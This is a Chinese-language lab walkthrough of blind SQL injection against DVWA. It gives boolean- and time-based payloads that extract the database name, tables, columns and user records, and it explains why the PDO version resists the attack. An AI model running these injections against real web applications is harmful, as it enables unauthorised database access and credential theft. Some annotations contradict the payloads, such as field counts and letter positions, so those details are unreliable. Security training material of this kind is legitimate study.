参考文章:DVWA之SQL Injection(Blind) | 在线ASCII码表查询

原理

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,

盲注分为两种:
布尔盲注(页面显示不同结果进行注入)、时间盲注(页面显示相同结果,但返回不同时间进行注入)

基本注入过程

1.判断数据库类型
2.判断是否存在注入,注入是字符型还是数字型
3.猜解当前数据库名
4.猜解数据库中的表名
5.猜解表中的字段名
6.猜解数据

分析—>布尔盲注

Low

先看一下代码,进行审计,判断注入类型,并找出可注入原因

看到这里页面是返回两种不同结果的—->布尔盲注 | 且为单引号字符串型注入
image.png

这里测试一波是否为单引号字符型注入
输入1’ and 1=1#,显示用户存在
image.png

输入1’ and 1=2#,显示账号不存在,妥妥的单引号字符型注入
image.png

数据库名

首先猜解数据库名的长度
通过测试,长度为4

输入1’ and length(database())=1 #,显示不存在; 输入1’ and length(database())=2 #,显示不存在; 输入1’ and length(database())=3 #,显示不存在; 输入1’ and length(database())=4 #,显示存在;

image.png
image.png

然后采用二分法猜解数据库名
经过测试,说明第一个数据库的名字的第一个字符为小写字母d
重复步骤,猜解出完整的数据库名为dvwa

输入1’ and ascii(substr(database(),1,1))>97 #, 显示存在,说明数据库名的第一个字符的ascii值大于97 输入1’ and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122 输入1' and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109 输入1' and ascii(substr(database(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103 输入1' and ascii(substr(database(),1,1))<101 #,显示存在,说明数据库名的第一个字符的ascii值小于101 输入1' and ascii(substr(database(),1,1))>99 #, 显示存在,说明数据库名的第一个字符的ascii值大于99 输入1’ and ascii(substr(database(),1,1))<100 #,显示不存在,大于99,小于100,就是100 …

image.png
image.png
image.png
image.png

表名

首先猜解数据库中表的数量
通过下面测试说明数据库中共有个表

1’ and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在 1’ and (select count(table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

image.png
image.png

猜解第一个表名**长度
经过测试,说明第一个表名长度为
9**

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在 … 1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

image.png
image.png

然后二分法猜解表名
经过测试,说明第一个表的名字的第一个字符为小写字母g
重复步骤,即可猜解出两个表名(guestbook、users)

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在,说明数据库名的第一个字符的ascii值大于97 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在,说明数据库名的第一个字符的ascii值小于122 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在,说明数据库名的第一个字符的ascii值小于103 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<104 # 显示存在,说明数据库名的第一个字符的ascii值小于104 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>102 # 显示存在,说明数据库名的第一个字符的ascii值大于102 1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在,大于102,小于103,就是103

image.png
image.png
image.png
image.png

列名

首先猜解表中字段的数量
经测试,users表有8个字段

1’ and (select count(column_name) from information_schema.columns where table_name=’users’)=1 # 显示不存在 … 1’ and (select count(column_name) from information_schema.columns where table_name= ‘users’)=8 # 显示存在

接着挨个猜解字段名
经测试,users表的第一个字段为7个字符长度。
采用二分法,即可猜解出所有字段名

1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1 # 显示不存在 … 1’ and length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7 # 显示存在

image.png
image.png

数据

第二个字母:a
1’ and (ascii(substr((select user from users limit 0,1),1,1)))=97#
image.png
image.png
第二个字母:d
1’ and (ascii(substr((select user from users limit 0,1),2,1)))=100#

依次猜出users表中user列的数据为admin
密码在password列中,可自己去尝试注入

鉴于payload都是一样的,后面就直接讲绕过过程,然后大家按照上面的操作就好了

Medium

老样子,看代码,进行审计,判断注入类型,并找出可注入原因

注入类型—->数字型注入和布尔盲注,这里还对特殊符号进行了HTML实体化编码
image.png

Medium是通过抓包修改参数,去注入的,抓个包就好了,演示一下
image.png
image.png

High

老样子,看代码,进行审计,判断注入类型,并找出可注入原因

注入类型—->单引号字符型注入和布尔盲注 | 就多加了个LIMIT,直接注释掉就好了

但是这里提交数据界面和查询结果界面不同,为了防止sqlmap注入
image.png

操作和Low级别操作一样,就大概演示一下
image.png
image.png

Impossible

老样子,看代码,进行审计,找出不可注入原因

看到这里用了PDO语句,将代码和数据进行了独立,所以不可注入
image.png

分析—>时间盲注

这里就以Low为例子了,其他级别都一样的

数据库名

首先猜解数据名的长度
经测试,说明数据库名长度为4个字符

1’ and if(length(database())=1,sleep(5),1)# 没有延迟 1’ and if(length(database())=2,sleep(5),1)# 没有延迟 1’ and if(length(database())=3,sleep(5),1)# 没有延迟 1’ and if(length(database())=4,sleep(5),1)# 明显延迟

image.png
image.png

接着采用二分法猜解数据库名
重复步骤,即可猜解出数据库名为dvwa

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟 … 1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

没有延迟 说明数据库名的第一个字符为小写字母d

image.png
image.png
image.png

表名

首先猜解数据库中表的数量
经测试,数据库中有2个表

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟 1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

image.png
image.png

接着挨个猜解表名长度
说明第一个表名的长度为9个字符

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1)# 没有延迟 … 1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1)# 明显延迟

image.png
image.png

最后猜测第一个表名的第一个字符
重复步骤,得到表名(guestbook,users)

1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=103,sleep(5),1)#

image.png

列名

首先猜解表中字段的数量
经测试,users表中有6个字段

1’ and if((select count(column_name) from information_schema.columns where table_schema=database() table_name= ‘users’)=1,sleep(5),1)# 没有延迟 … 1’ and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name= ‘users’)=8,sleep(5),1)# 明显延迟

image.png

接着挨个猜解字段名长度
说明users表的第一个字段长度为7个字符

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=1,sleep(5),1)# 没有延迟 … 1’ and if(length(substr((select column_name from information_schema.columns where table_name= ‘users’ limit 0,1),1))=7,sleep(5),1)# 明显延迟

image.png
image.png

最后猜测列名
重复步骤,得到所有列名

1’ and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=’users’ limit 0,1),1,1))=116,1,sleep(5))#

image.png

数据

1’ and if(ascii(substr((select user from users limit 0,1),1,1))=97,1,sleep(5))#
image.png